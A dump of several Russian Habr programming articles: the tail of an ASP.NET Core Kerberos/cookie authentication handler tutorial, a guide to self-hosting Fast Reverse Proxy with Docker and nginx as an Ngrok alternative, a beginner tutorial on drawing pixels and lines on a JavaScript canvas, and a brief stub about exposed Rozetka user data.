return null;
}
}
```
Как видно по коду, метод валидации тикета *KerberosAuthenticator.Authenticate()* возвращает *ClaimsIdentity*, что весьма удобно. И в общем-то это весь код для валидации. Хорошо, когда есть добрые люди, которые делают сложные вещи и делятся ими на github.
Пришло время для самого интересного — хэндлера (обработчика запросов) аутентификации.
В начале я упоминал, что свою реализацию делал на основе уже готовой Cookie Authentication. Класс хэндлера этой аутентификации называется *CookieAuthenticationHandler*. Просто наследуем свой обработчик от него:
```
public class MixedAuthenticationHandler : CookieAuthenticationHandler{}
```
Тут я покажу перегрузку только двух методов, т.к. больше в рамках статьи не требуется. Однако доступных для перегрузки методов ощутимо больше, и можно довольно сильно кастомизировать их под свои нужды.
Перегрузим методы:
```
protected override async Task HandleAuthenticateAsync()
{
var authResult = await base.HandleAuthenticateAsync(); // Проверяем, может мы уже //аутентифицированы
if (!authResult.Succeeded) // Если нет, то пытаемся
{
string authorizationHeader = Request.Headers["Authorization"];
if (string.IsNullOrEmpty(authorizationHeader))
{
return AuthenticateResult.Fail(”Не получилось”);
}
// не забываем, что в заголовке приходит не чистый тикет - в начале идет “Negotiate”. //Поэтому отрежем лишнее
var ticket = authorizationHeader.Substring(MixedAuthenticationDefaults.AuthorizationHeader.Length);
//теперь у нас есть тикет без лишнего мусора
var kerberosAuthTicketValidator = new KerberosAuthTicketValidator();
var kerberosIdentity = await kerberosAuthTicketValidator.IsValid(new KerberosAuthorizeCredentials(ticket));
if (kerberosIdentity != null)
{
//собираем ClaimsPrincipal
var principal = new ClaimsPrincipal(kerberosIdentity);
//создаем тикет аутентификации
var authTicket= new AuthenticationTicket(principal, MixedAuthenticationDefaults.AuthenticationScheme);
if (ticket != null)
{
//если создался, то вызываем базовый метод, чтобы вся кухня хранения аутентификации в cookie сработала
await base.HandleSignInAsync(principal, ticket.Properties);
//возвращаем успешный результат
return AuthenticateResult.Success(ticket);
}
}
}
return authResult;
}
```
*HandleAuthenticateAsync()* — точка входа аутентификации в приложении. Именно он содержит логику, пропускать запрос дальше к методам контроллеров или нет. Теперь *HandleChallengeAsync()*. Именно он вызывается после того, как выше в статье в контроллере мы обращались к методу *Challenge()*. Как раз тут есть возможность использовать разную логику для разных способов аутентификаций. Например, добавлять *redirect url* для *oaut*h.
В нашем случае нужно добавить только заголовок и поставить статус код:
```
protected override Task HandleChallengeAsync(AuthenticationProperties properties)
{
Response.StatusCode = 401; //статус код “Unauthorized”
Response.Headers.Append(HeaderNames.WWWAuthenticate, MixedAuthenticationDefaults.AuthorizationHeader);
return Task.CompletedTask;
}
```
И последнее. Чтобы регистрировать нашу самописную аутентификацию так же удобно, как и встроенную,
```
public void ConfigureServices(IServiceCollection services)
{
.....
//наша "донорская" схема аутентификации
services.AddAuthentication().AddCookie();
....
}
```
необходимо сделать метод расширения:
```
public static class MixedAuthenticationExtensions
{
public static AuthenticationBuilder AddMixed(this AuthenticationBuilder builder)
{
builder.Services.TryAddEnumerable(ServiceDescriptor.Singleton, PostConfigureCookieAuthenticationOptions>());
return builder.AddScheme(MixedAuthenticationDefaults.AuthenticationScheme, String.Empty, null);
}
}
```
Теперь можно писать так:
```
public void ConfigureServices(IServiceCollection services)
{
...
//идентично встроенной
services.AddAuthentication(MixedAuthenticationDefaults.AuthenticationScheme).AddMixed();
...
}
```
В итоге кода нужно совсем немного. При этом мы имеем всю логику работы стандартной cookie аутентификации — запись, валидация, контроль времени жизни и прочее. Можно чуть более заморочиться, выделить абстракцию *IAuthenticator*, и через DI протаскивать в хэндлер логику в зависимости от настроек. | https://habr.com/ru/post/489852/ | null | ru | null |
# Fast Reverse Proxy как альтернатива Ngrok
Создание общедоступного URL в сети интернет к вашему локальному проекту
Что такое Ngrok, наверное знает каждый разработчик web приложений, и многие им пользуются.
Немного предыстории...
Присоединившись к новому большому проекту, над которым работают десятки разработчиков и QA специалистов, я столкнулся с тем, что разработка ведется удаленно на специально выделенных серверах.
А т.к. я уже несколько лет разработку приложений веду исключительно в докере, я никак не мог адаптироваться к текущему подходу.
Думаю все, кто более менее освоил работу в докере, уже не мыслят как можно разрабатывать без него. Причин на это много. Конечно, как и везде у докера есть своя цена и это тоже уже много раз обсуждалось.
Итак, новый проект не похож на предыдущие. Он имеет много зависимостей с другими сервисами, как внутренними так и внешними.
Большое количество внешних интерграций порождало проблему связи локального приложения с внешним миром. И если объединить внутренние сервисы используя docker netwokr не вызывало каких либо проблем, то необходимость связать внешний сервис уже требовал дополнительных инструментов.
Интеграции платежных систем всегда подразумевает, что будут callback (notification).
При такой необходимости, часто выбирают Ngrok. Хорошее решение, но в удобном варианте - платное. Особенно это ощущается, когда разработчиков много.
Т.к. Ngrok не подходил, первое что пришло в голову, создать виртуалку, на нее завести домен, и создавать ssh туннель с ним.
docker-compose.yml
```
version: '3.7'
services:
callback-tunnel:
build:
context: ./.docker/ssh-tunnel-callback
restart: unless-stopped
volumes:
- ~/.ssh:/root/ssh:ro
environment:
TUNNEL_HOST: ${CALLBACK_TUNNEL_HOST}
LOCAL_PORT: ${CALLBACK_TUNNEL_LOCAL_PORT}
LOCAL_HOST: ${CALLBACK_TUNNEL_LOCAL_HOST}
REMOTE_PORT: ${CALLBACK_TUNNEL_REMOTE_PORT}
networks:
- local
app:
image: php
restart: unless-stopped
tty: true
volumes:
- ./:/var/www/html
```
где Dockerfile callback-tunnel выглядел вот так
Dockerfile
```
FROM alpine
RUN apk add --update openssh-client && rm -rf /var/cache/apk/*
CMD rm -rf /root/.ssh && mkdir /root/.ssh && cp -R /root/ssh/* /root/.ssh/ && chmod -R 600 /root/.ssh/* && \
ssh \
-vv \
-o StrictHostKeyChecking=no \
-N $TUNNEL_HOST \
-R *:$REMOTE_PORT:$LOCAL_HOST:$LOCAL_PORT \
&& while true; do sleep 30; done;
```
Данный подход решал проброс callback запросов от внешних провайдеров, но он был не надежный. Иногда при жестком разрыве соединения, порт на виртуалке оставался занятым. При совместной разработки необходимо было договариваться, кто какой порт будет использовать. Короче, решение такое себе, костыль.
Дальше - больше, при локальной разработке, бывает необходимость проверить приложение на другом устройстве, например на телефоне или планшете, или в определенной версии браузера поведение фронта не адекватное. И снова мысли об Ngrok.
Пришлось искать.
В какой то момент мне попался список бесплатных инструментов решающих данную проблему. Сам список уже не найду, но один инструмент меня сильно заинтересовал, и я решил попробовать.
Fast Reverse Proxy
------------------
<https://github.com/fatedier/frp>
Сервер написан на Go
JS, Vue для Dashboard
Схема
-----
Репозиторий с примерами <https://github.com/anydasa/frp-example>
Как поднимал
------------
1. Подготовил на github репозиторий
2. Купил домен
3. Создал дроплет на Digital Ocean (5$ docker)
4. Установил туда nginx
5. Установил letsencript и создал Wildcard SSL Certificate по [этой доке](https://computingforgeeks.com/using-letsencrypt-wildcard-certificate-nginx-apache/). Wildcard нужен для того чтоб public URL были https
6. Настроил nginx, он выступает как первый proxy server. Можно обойтись без него, но мне так было проще
7. Склонил <https://github.com/anydasa/frp-example> и запустил server-ную часть
8. Локально,
1. склонил <https://github.com/anydasa/frp-example>
2. Создал .env из .env-example и прописал необходимые переменные
3. запустил client-ский docker-compose
9. В зависимости от того какой указал REVERSE\_PROXY\_PERSONAL\_ALIAS, будет мой URL.
В моем примере есть 3 хоста (обычно нужно для проекта), и в зависимости какой PERSONAL\_ALIAS указан, будут доступны по URLs. К примеру PERSONAL\_ALIAS=project, тогда
* frontend - https://project.frp.example.com
* backend - https://admin-project.frp.example.com
* api - https://api-project.frp.example.com
Т.к. Wildcard SSL настраивается на \*.frp.example.com, то все поддомены нужно указывать без точек.
Server Nginx
```
server {
listen 443 ssl;
server_name dashboard.frp.example.com;
ssl_certificate /etc/letsencrypt/live/frp.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/frp.example.com/privkey.pem;
location / {
proxy_pass http://127.0.0.1:7500/;
proxy_set_header host $host;
proxy_set_header X-real-ip $remote_addr;
proxy_set_header X-forward-for $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto https;
proxy_buffering off;
proxy_redirect off;
}
}
server {
listen 443 ssl;
server_name ~^.+\.frp\.example\.com$;
ssl_certificate /etc/letsencrypt/live/frp.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/frp.example.com/privkey.pem;
location / {
proxy_pass http://127.0.0.1:7000/;
proxy_set_header host $host;
proxy_set_header X-real-ip $remote_addr;
proxy_set_header X-forward-for $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto https;
proxy_buffering off;
proxy_redirect off;
}
}
server {
listen 80;
server_name ~^.+\.frp\.example\.com$;
return 301 https://$host$request_uri;
}
```
Server FRP Dockerfile
```
FROM alpine:3
MAINTAINER Sykchin Artem
ENV FRP_VERSION=0.37.1
ENV FRP_URL=https://github.com/fatedier/frp/releases/download/v${FRP_VERSION}/frp_${FRP_VERSION}_linux_amd64.tar.gz
WORKDIR /opt/frp
ADD ${FRP_URL} /tmp/frp.tar.gz
RUN tar --strip 1 -xvzf /tmp/frp.tar.gz -C /opt/frp && rm /tmp/frp.tar.gz
ADD frps.ini /opt/frp
ADD 404.html /opt/frp
ADD entrypoint.sh /
ENTRYPOINT ["/entrypoint.sh"]
```
Client docker-compose.yml
```
version: '3.7'
services:
proxy:
build: docker/proxy
depends_on:
- webserver
environment:
PERSONAL_ALIAS: ${REVERSE_PROXY_PERSONAL_ALIAS}
SERVER_HOST: ${REVERSE_PROXY_SERVER_HOST}
SERVER_TOKEN: ${REVERSE_PROXY_SERVER_TOKEN}
SERVER_PORT: ${REVERSE_PROXY_SERVER_PORT}
webserver:
image: nginx:alpine
restart: unless-stopped
volumes:
- ./docker/nginx/templates:/etc/nginx/templates
depends_on:
- app
app:
image: php:8-fpm-alpine
restart: unless-stopped
volumes:
- ./src:/var/www/html
```
настройки для client proxy (proxy это контейнер)
FRP Client.ini
```
[common]
server_addr = {SERVER_HOST}
server_port = {SERVER_PORT}
token = {SERVER_TOKEN}
login_fail_exit = true
[frontend-{PERSONAL_ALIAS}]
type = http
local_ip = webserver
local_port = 8081
subdomain = {PERSONAL_ALIAS}
[admin-{PERSONAL_ALIAS}]
type = http
local_ip = webserver
local_port = 8082
subdomain = admin-{PERSONAL_ALIAS}
[api-{PERSONAL_ALIAS}]
type = http
local_ip = webserver
local_port = 8083
subdomain = api-{PERSONAL_ALIAS}
```
Выполняя docker-compose up, вы поднимаете проект + proxy client и связываете все вместе. Соответственно, выполняя docker-compose down вы "тушите" проект вместе с проксированием | https://habr.com/ru/post/583814/ | null | ru | null |
# 3D своими руками. Часть 1: пиксели и линии
Этот цикл статей я хочу посвятить читателям, желающим изучить мир 3D-программирования с нуля, людям, которые хотят узнать основы создания 3D-составляющей игр и приложений. Каждую операцию мы будем реализовывать с чистого листа, чтобы понимать каждый аспект, даже если есть уже готовая функция, которая делает это быстрее. Научившись, мы будем переходить на встроенные инструменты по работе с 3D. По прочтению цикла статей вы поймете как создаются сложные трехмерные сцены со светом, тенями, текстурами и эффектами, как все это сделать без глубоких познаний в математике и многое другое. Сможете все это делать как самостоятельно, так и при помощи готовых инструментов.
**В первой части мы рассмотрим:**
* Понятия рендеринга (программного, аппаратного)
* Что такое пиксель / поверхность
* Подробный разбор вывода линии
Чтобы не тратить ваше драгоценное время на прочтение статьи, которые могут быть непонятными для неподготовленного человека, сразу перейду к требованиям. Вы можете смело приступать к чтению статей по 3D, если вы знаете основы программирования на любом языке, т.к. я буду акцентировать внимание только на изучение 3D-программирования, а не на изучении особенностей языка и основ программирования. Что касается математической подготовки — здесь не стоит переживать, хотя у многих отпадает охота изучать 3D, т.к. их пугают сложными вычислениями и зубодробительными формулами из-за которых потом снятся кошмары, но на самом деле ничего страшного нет. Постараюсь изложить максимально понятно все необходимое для 3D, вы только должны уметь умножать, делить, суммировать и вычитать. Итак, если вы прошли критерии отбора, можете начинать чтение.
Давайте перед началом изучения интересного мира 3D, выберем язык программирования для примеров, а также среду разработки. Какой язык стоит выбрать для программирования 3D-графики? Любой, можете работать там, где вам удобнее всего, математика будет везде одинаковая. В этой статье все примеры будут показаны в контексте JS (тут в меня летят помидоры). Почему JS? Все просто — в последнее время работаю преимущественно с ним, и поэтому смогу эффективнее вам донести суть. Буду обходить стороной все особенности JS в примерах, т.к. нам нужны лишь самые основные возможности, которые есть у любого языка, поэтому будем уделять внимание конкретно 3D. Но вы выберите то, что любите, т.к. в статьях все формулы не будут привязаны к особенностям какого-либо языка программирования. Какую выбрать среду? Не имеет никакого значения, в случае с JS — подойдет любой текстовый редактор, вы можете использовать тот, что ближе вам.
Все примеры будут использовать canvas для рисования, т.к. с его помощью можно очень быстро, без подробного разбора начинать рисовать. Canvas — мощный инструмент, с большим количеством готовых методов для рисования, но из всех его возможностей, первое время, мы будем использовать только вывод пикселя!
Все трехмерное выводят на экран с помощью пикселей, позже в статьях вы увидите, как это происходит. Будет ли это тормозить? Без аппаратного ускорения (например, ускорения видеокартой) — будет. В первых статья мы не будем использовать ускорений, мы будем писать все с чистого листа, для того чтобы разобраться в основных аспектах 3D. Давайте посмотрим на несколько терминов, которые будут упоминаться в дальнейших статьях:
* *Рендеринг (Rendering)* — процесс превращения данных 3D-фигуры в изображение на экране. Например, мы загрузили в память 3D-объект для нашей игры или приложения, и все действия в коде которым мы выполним, чтобы нарисовать его на экране и называется рендерингом.
* *Программный рендеринг (Software Rendering)* — процесс рендеринга без аппаратного ускорения. Сильно медленный, но используется, например, когда ваша видеокарта чего-то не поддерживает. Мы будем использовать его на первых порах, чтобы контролировать все без ограничений. Хотя для написания коммерческих игр или 3D-приложений этот тип рендеринга, в большинстве случаев — не подойдет.
* *Аппаратный рендеринг (Hardware Rendering)* — процесс рендеринга с аппаратной поддержкой. Его использую игры и приложения. Все работает очень быстро, т.к. массу рутинных вычислений берет на себя видеокарта, которая для этого предназначена.
Я не стремлюсь к званию «определение года» и все описания терминов я стараюсь изложить максимально понятно. Главное — понять идею, которую потом можно будет самостоятельно развить. Хочу также обратить внимание на то, что все примеры кода, которые будут показаны в статьях, часто не оптимизированы по скорости, для сохранения простоты понимания. Когда вы поймете главное — как работает 3D графика, вы сможете все оптимизировать самостоятельно.
Для начала создадим проект, у меня это просто текстовый *index.html* файл, со следующим контентом:
```
3D it’s easy. Part 1
// тут будет весь код
```
Не буду слишком акцентировать внимание на JS и canvas сейчас — это не главные герои этой статьи. Но для общего понимания уточню, что это прямоугольник (в моем случае размером 800 на 600 пикселей) на котором я буду отображать всю графику. Я canvas прописал единожды и больше его менять не буду.
```
…
```
Script — элемент внутри которого мы будем писать всю логику для рендеринга 3D графики своими руками (на JavaScript).
Когда мы лишь обзорно рассмотрели структуру файла *index.html* только что созданного проекта, начнем разбираться с 3D графикой.
Когда мы что-то рисуем в окне, это в итоговом счете, превращается в пиксели, ведь именно их отображает монитор. Чем больше пикселей, тем более четкая картинка, но и компьютер нагружается сильнее. Как же хранится то, что мы рисуем в окне? Графику в любом окне можно представить в виде массива пикселей, а сам пиксель — просто цвет. То есть, разрешение экрана 800х600 означает, что наше окно содержит 600 строк по 800 пикселей в каждой, а именно 800 \* 600 = 480000 пикселей, много, не правда ли? Пиксели хранятся в массиве. Давайте подумаем, в каком массиве мы бы хранили пиксели. Если у нас должно быть 800 на 600 пикселей, то самый очевидный вариант — в двумерном массиве 800 на 600. И это почти правильный вариант, а точнее — полностью правильный вариант. Но пиксели окна, лучше хранить в одномерном массиве на 480000 элементов (если разрешение 800 на 600), только потому что с одномерным массивом быстрее работать, т.к. он хранится в памяти сплошной последовательностью байт (все лежит рядом и поэтому его легко достать). В двумерном массиве (например, в случае JS), каждая строчка может быть разбросана по разным местам в памяти, поэтому обращение к элементам такого массива будет происходить дольше. Также, для перебора одномерного массива нужен только 1 цикл, а для двумерного целых 2, учитывая необходимость делать десятки тысяч итераций цикла, скорость здесь немаловажна. Что из себя представляет пиксель в таком массиве? Как выше упоминалось — это просто цвет, а точнее 3 его составляющих (красный, зеленый, синий). Любая, даже самая красочная картинка – это просто массив пикселей разного цвета. Пиксель в памяти можно хранить как угодно, либо массивом на 3 элемента, либо в структуре, где будут red, gree, blue; или как-то еще. Изображение, состоящее из массива пикселей, который мы только что разобрали, я дальше буду называть поверхностью (surface). Получается, раз все, что отображается на экране — хранится в массиве пикселей, то меняя элементы (пиксели) в этом массиве — мы будем попиксельно изменять изображение на экране. Именно так мы и поступим в этой статье.
В canvas отсутствует функция рисования пикселя, но есть возможность получить доступ к одномерном массиву пикселей, который мы обсудили выше. Как это сделать показано в примере ниже (этот и все примеры в дальнейшем будут только внутри элемента script):
```
// Получаем доступ к элементу (окну) в котором будем рисовать
const ctx = document
.getElementById('surface')
.getContext('2d')
// Получаем доступ к массиву пикселей, который будем менять
// + указываем размеры окна в котором будем рисовать
const imageData = ctx.createImageData(800, 600)
```
В примере, imageData — это объект в котором есть 3 свойства:
* *height и width* — целые числа хранящие высоту и ширину окна для рисования
* *data* — 8-ми битный беззнаковый целочисленный массив (в нем можно хранить числа в диапазоне от 0 до 255)
Массив data имеет несложную, но требующую объяснения структуру. В этом одномерном массиве хранятся данные каждого пикселя, который мы будем выводить на экран в следующем формате:
Первые 4 элемента массива (индексы 0,1,2,3) — это данные первого пикселя в первой строке. Вторые 4 элемента (индексы 4, 5, 6, 7) — это данные второго пикселя первой строки. Когда мы дойдем до 800-го пикселя первой строки, при условии ширины окна в 800 пикселей — 801-й пиксель уже будет относиться ко второй строке. Если мы его поменяем, на экране увидим что поменялся 1-й пиксель 2-й строки (хотя по счету в массиве это будет 801-й пиксель). Почему на каждый пиксель в массиве по 4 элемента? Это потому что в canvas, помимо того, что выделяется по 1-му элементу на каждый цвет — красный, зеленый, синий (это уже 3 элемента), еще 1 элемент на прозрачность (еще говорят alpha-канал или opacity). Alpha-канал, как и цвет, задается в диапазоне от 0 (прозрачный) до 255 (непрозрачный). При такой структуре у нас получится 32х битное изображение, потому что каждый пиксель состоит из 4х элементов по 8 бит. Подытожим: каждый пиксель содержит: красный, зеленый, синий цвета и альфа-канал (прозрачность). Такую цветовую схему называют ARGB (Alpha Red Green Blue). А то, что каждый пиксель занимает 32 бита, говорит, что у нас 32 битное изображение (еще говорят, изображение с глубиной цвета 32 бита).
По умолчанию, весь массив пикселей imageData.data (data это свойство, в котором массив пикселей, а imageData это просто объект) заполнен значениями 0, и если бы мы попытались вывести такой массив, то ничего интересного на экране не увидели бы, потому что 0, 0, 0 — это черный цвет, но поскольку прозрачность тут будет тоже 0, а это полностью прозрачный цвет, то даже черного на экране мы не увидим!
С таким одномерным массивом напрямую работать неудобно, поэтому напишем для него класс, в котором создадим методы для рисования. Я назову класс — Drawer. Этот класс будет хранить только необходимые данные и проводить необходимые вычисления, по максимуму абстрагируясь от используемого для рендеринга инструмента. Именно поэтому в нем мы разместим все расчеты и работу с массивом. А уже сам вызов метода отображения на canvas, мы разместим за пределами класса, т.к. вместо canvas может быть что-то еще. В таком случае, наш класс менять не придется. Для работы с массивом пикселей (surface) нам удобнее сохранить его в классе Drawer, а также ширину и высоту картинки, чтобы правильно уметь обращаться к нужному пикселю. Итак, класс Drawer с сохранением минимума необходимых для рисования данных у меня выглядит так:
```
class Drawer {
surface = null
width = 0
height = 0
constructor(surface, width, height) {
this.surface = surface
this.width = width
this.height = height
}
}
```
Как видим в конструкторе класс Drawer принимает все необходимые данные и сохраняет их. Теперь можно создать экземпляр этого класса и передать в него массив пикселей, ширину и высоту (эти все данные у нас уже есть, т.к. мы их создали выше и хранятся они в imageData):
```
const drawer = new Drawer(
imageData.data,
imageData.width,
imageData.height
)
```
В классе Drawer мы напишем несколько функций рисования, для простоты работы в дальнейшем. У нас будет функция рисования пикселя, функция рисования линии, в дальнейших статьях еще появятся функции рисования треугольника и других фигур. Но начнем с метода рисования пикселя. Я его назову drawPixel. Если мы рисуем пиксель, то у него должны быть координаты, а также цвет:
```
drawPixel(x, y, r, g, b) { }
```
Обратите внимание, что функция drawPixel не принимает параметр alpha (прозрачность), а выше мы разобрались, что массив пикселей состоит из 3-х параметров цвета и 1-го параметра прозрачности. Я специально не указал прозрачность, так как она нам для примеров совершенно не нужна. По умолчанию будем устанавливать 255 (т.е. все будет непрозрачным). Теперь подумаем, как в массив пикселей в координаты x, y записать нужный цвет. Поскольку у нас вся информация об изображении хранится в одномерном массиве, в котором на каждый пиксель отводится по 1-му числу (8 бит). Для обращения к нужному пикселю в массиве, нам нужно сначала определить индекс расположения красного цвета, потому что любой пиксель начинается именно с него (напр. [r, g, b, a]). Немного пояснения структуры массива:
В таблице зеленым цветом указано, как хранятся компоненты цвета в одномерном массиве surface. Синим цветом указаны их индексы в этом же массиве, а красным — координаты пикселя, который принимает функции drawPixel, которые нам нужно преобразовать в индексы в одномерном массиве, для задания r, g, b, a для пикселя. Итак, из таблицы видно, что для каждого пикселя красная составляющая цвета идет первой, начнем с нее. Предположим, что мы хотим поменять красную составляющую цвета пикселя в координатах X1Y1 при размере изображения 2 на 2 пикселя. В таблице мы видим, что это индекс 12, но как его вычислить? Для начала находим индекс нужной нам строки, для этого умножим ширину изображения на Y и на 4 (кол-во значений на каждый пиксель) — это будет:
```
width * y * 4
// подставим числа:
2 * 1 * 4 = 8
```
Видим, что 2-я строка начинается с индекса 8. Если сравним с табличкой — результат сходится.
Теперь к найденному индексу строки нужно прибавить смещение по столбцам, чтобы получить искомый индекс красного цвета. Для этого к индексу строки добавим Х умноженный на 4. Полная формула будет такой:
```
width * y * 4 + x * 4
// которую можно записать и так:
(width * y + x) * 4
// подставляем значения:
(2 * 1 + 1) * 4 = 12
```
Теперь мы сравниваем 12 с таблицей и видим что пиксель X1Y1 действительно начинается с индекса 12.
Чтобы найти индексы других компонентов цвета, нужно добавить смещение цвета к индексу красного цвет: +1 (зеленый), +2 (синий), +3 (альфа). Теперь можем реализовать метод drawPixel внутри класса Drawer используя формулу выше:
```
drawPixel(x, y, r, g, b) {
const offset = (this.width * y + x) * 4
this.surface[offset] = r
this.surface[offset + 1] = g
this.surface[offset + 2] = b
this.surface[offset + 3] = 255
}
```
В этом методе drawPixel я повторяющуюся часть формулы вынес в константу offset. Также видно, что в alpha я просто пишу 255, т.к. она есть в структуре, но нам сейчас для вывода пикселей не нужна.
Настало время проверить работу кода и, наконец, увидеть первый пиксель на экране. Вот пример использования метода отрисовки пикселя:
```
// код после определения класса Drawer
drawer.drawPixel(10, 10, 255, 0, 0)
drawer.drawPixel(10, 20, 0, 0, 255)
// применить все изменения пикселей в массиве к элементу canvas
ctx.putImageData(imageData, 0, 0)
```
В примере выше я рисую 2 пикселя, один красный 255, 0, 0, другой — синий 0, 0, 255. Но изменения в массиве imageData.data (он же surface внутри класса Drawer) сами на экране не отобразятся. Для отрисовки нужно вызвать ctx.putImageData(imageData, 0, 0), где imageData — объект в котором массив пикселей и ширина/высота области отрисовки, а 0, 0 — это точка, относительно которой будет выводиться массив пикселей (всегда оставляем 0, 0). Если вы все сделали правильно, тогда у вас вверху слева элемента canvas в окне браузера будет такая картина:
Увидели пиксели? Они такие маленькие, а сколько работы проделано.
Теперь попробуем добавить в пример немного динамики, например, чтобы каждые 10 миллисекунд наш пиксель смещался вправо (будем изменять X пикселя на +1 каждые 10 миллисекунд), поправим код рисования пикселя на такой с интервалом:
```
let x = 10
setInterval(() => {
drawer.drawPixel(x++, 20, 0, 0, 255)
ctx.putImageData(imageData, 0, 0)
}, 10)
```
В этом примере я оставил только вывод синего пикселя и обернул код в JavaScript функцию setInterval с параметром 10. Это означает, что код будет вызываться примерно каждые 10 миллисекунд. Если вы запустите такой пример — увидите, что вместо смещающегося вправо пикселя у вас будет что-то такое:
Такая длинная полоска (или след) остается потому что мы в массиве surface не чистим цвет предыдущего пикселя, поэтому при каждом вызове интервала у нас добавляется еще один пиксель. Давайте напишем метод, который будет чистить surface до изначального состояния. Иными словами — заполним массив нулями. В класс Drawer добавим метод clearSurface:
```
clearSurface() {
const surfaceSize = this.width * this.height * 4
for (let i = 0; i < surfaceSize; i++) {
this.surface[i] = 0
}
}
```
В этом массиве нет никаких логик, просто заполнение нулями. Этот метод рекомендуется вызывать каждый раз перед рисованием нового изображения. В случае анимации пикселя — перед рисованием этого пикселя:
```
let x = 10
setInterval(() => {
drawer.clearSurface()
drawer.drawPixel(x++, 20, 0, 0, 255)
ctx.putImageData(imageData, 0, 0)
}, 10)
```
Теперь если запустить этот пример, пиксель будет смещаться вправо, один одинешенек — без ненужного следа от предыдущих координат.
Последнее, что мы реализуем в первой статье — это метод рисования линии. Добавим его, конечно же, в класс Drawer. Метод я назову drawLine. Что он будет принимать? В отличие от точки, линия еще имеет координаты, в которых она заканчивается. Иными словами, у линии есть начало, конец и цвет, что и будем передавать в метод:
```
drawLine(x1, y1, x2, y2, r, g, b) { }
```
Любая линия состоит из пикселей, осталось только правильно заполнить ее пикселями от x1, y1 до x2, y2. Для начала, раз линия состоит из пикселей, значит, мы будем ее выводить в цикле попиксельно, но как посчитать, сколько пикселей выводить? Например, для рисования линии из [0, 0] в [3, 0] интуитивно видно, что понадобится 4 пикселя ([0, 0], [1, 0], [2, 0], [3, 0],). А вот из [12, 6] в [43, 14], уже непонятно какая длина будет у линии (сколько пикселей выводить) и какие у них будут координаты. Для этого вспомним немного геометрии. Итак, у нас есть линия, которая начинается в точке x1, y1 и заканчивается в точке x2, у2.
Давайте проведем пунктиром линию от начала и конца так, чтобы получился треугольник (рисунок выше). Мы увидим, что в месте соединения проведенных линий образовался угол 90 градусов. Если в треугольнике есть такой угол, значит, треугольник называется прямоугольным, а его стороны, между которыми угол равен 90 градусам, называют катетами. Третья сплошная линия (которую мы и пытаемся нарисовать) называют в треугольнике гипотенузой. При помощи этих двух введенных катетов (на рисунке это c1 и с2), мы и сможем вычислить длину гипотенузы по теореме Пифагора. Давайте посмотрим, как это сделать. Формула длины гипотенузы (или длины линии), будет следующей:
Как получить оба катета также видно из рисунка треугольника. Теперь по формуле выше найдем гипотенузу, которая и будет длинной линии (количеством пикселей):
```
drawLine(x1, y1, x2, y2, r, g, b) {
const c1 = y2 - y1
const c2 = x2 - x1
const length = Math.sqrt(c1 * c1 + c2 * c2)
```
Мы уже знаем, сколько пикселей выводить для отрисовки линии. Но мы еще не знаем, как смещаются пиксели. То есть, нам нужно нарисовать линию от x1, у1 до х2, у2, мы знаем, что длина линии составит, например, 20 пикселей. Мы можем нарисовать 1-й пиксель в х1, у1 и последний в х2, у2, но как найти координаты промежуточных пикселей? Для этого нам и нужно получить, как смещать каждый следующий пиксель по отношению к x1, y1, чтобы получилась нужная линия. Приведу еще один пример, чтобы лучше понять, о каком смещении идет речь. У нас есть точки [0, 0] и [0, 3], по ним нужно нарисовать линию. Из примера хорошо видно, что следующая точка после [0, 0] будет [0, 1], а потом [0, 2] и наконец [0, 3]. То есть, Х каждой точки не смещался, ну или можно говорить, что смещался на 0 пикселей, а Y смещался на 1 пиксель, вот это и есть смещение, его можно записать в виде [0, 1]. Другой пример: у нас есть точка [0, 0] и точка [3, 6], попробуем посчитать в уме, как они смещаются, первой будет [0, 0], потом [0.5, 1], потом [1, 2] потом [1.5, 3] и так далее до [3, 6], в этом примере смещение будет [0.5, 1]. Как же его вычислить?
Можно использовать такую формулу:
```
Смещение по Х = Катет2 / Длину гипотенузы
Смещение по Y = Катет1 / Длину гипотенузы
```
В коде программы у нас будет так:
```
const xStep = c2 / length
const yStep = c1 / length
```
Все данные уже есть: длина линии, смещение пикселей по Х и по Y. Начинаем в цикле рисовать:
```
for (let i = 0; i < length; i++) {
this.drawPixel(
Math.trunc(x1 + xStep * i),
Math.trunc(y1 + yStep * i),
r, g, b,
)
}
```
В качестве координаты Х функции Pixel передаем начало Х линии + смещение X \* i, таким образом, получая координату i-го пикселя, точно также вычисляем и координату Y. Math.trunc это метод в JS который позволяет отбросить дробную часть числа. Весь код метода выглядит так:
```
drawLine(x1, y1, x2, y2, r, g, b) {
const c1 = y2 - y1
const c2 = x2 - x1
const length = Math.sqrt(c1 * c1 + c2 * c2)
const xStep = c2 / length
const yStep = c1 / length
for (let i = 0; i < length; i++) {
this.drawPixel(
Math.trunc(x1 + xStep * i),
Math.trunc(y1 + yStep * i),
r, g, b,
)
}
}
```
Подошла к концу первая часть, длинного, но захватывающего пути постижения мира 3D. Ничего трехмерного еще не было, но мы выполнили подготовительные операции для рисования: реализовали функции рисования пикселя, линии, очистки окна и узнали несколько терминов. Весь код класса Drawer можно посмотреть под спойлером:
**Код класса Drawer**
```
class Drawer {
surface = null
width = 0
height = 0
constructor(surface, width, height) {
this.surface = surface
this.width = width
this.height = height
}
drawPixel(x, y, r, g, b) {
const offset = (this.width * y + x) * 4
this.surface[offset] = r
this.surface[offset + 1] = g
this.surface[offset + 2] = b
this.surface[offset + 3] = 255
}
drawLine(x1, y1, x2, y2, r, g, b) {
const c1 = y2 - y1
const c2 = x2 - x1
const length = Math.sqrt(c1 * c1 + c2 * c2)
const xStep = c2 / length
const yStep = c1 / length
for (let i = 0 ; i < length ; i++) {
this.drawPixel(
Math.trunc(x1 + xStep * i),
Math.trunc(y1 + yStep * i),
r, g, b,
)
}
}
clearSurface() {
const surfaceSize = this.width * this.height * 4
for (let i = 0; i < surfaceSize; i++) {
this.surface[i] = 0
}
}
}
```
#### Что дальше?
В следующей статье рассмотрим, каким образом такая простая операция, как вывод пикселя и линии, могут превратиться в интересные 3D объекты. Познакомимся с матрицами и операциями над ними, выведем трехмерный объект в окно и даже добавим анимацию. | https://habr.com/ru/post/494094/ | null | ru | null |
# Персональные данные пользователей Rozetka.ua в публичном доступе
На этот источник данных я наткнулся случайно. По моему, самое время проверить, какие данные отдают пользователям наши с вами проекты.
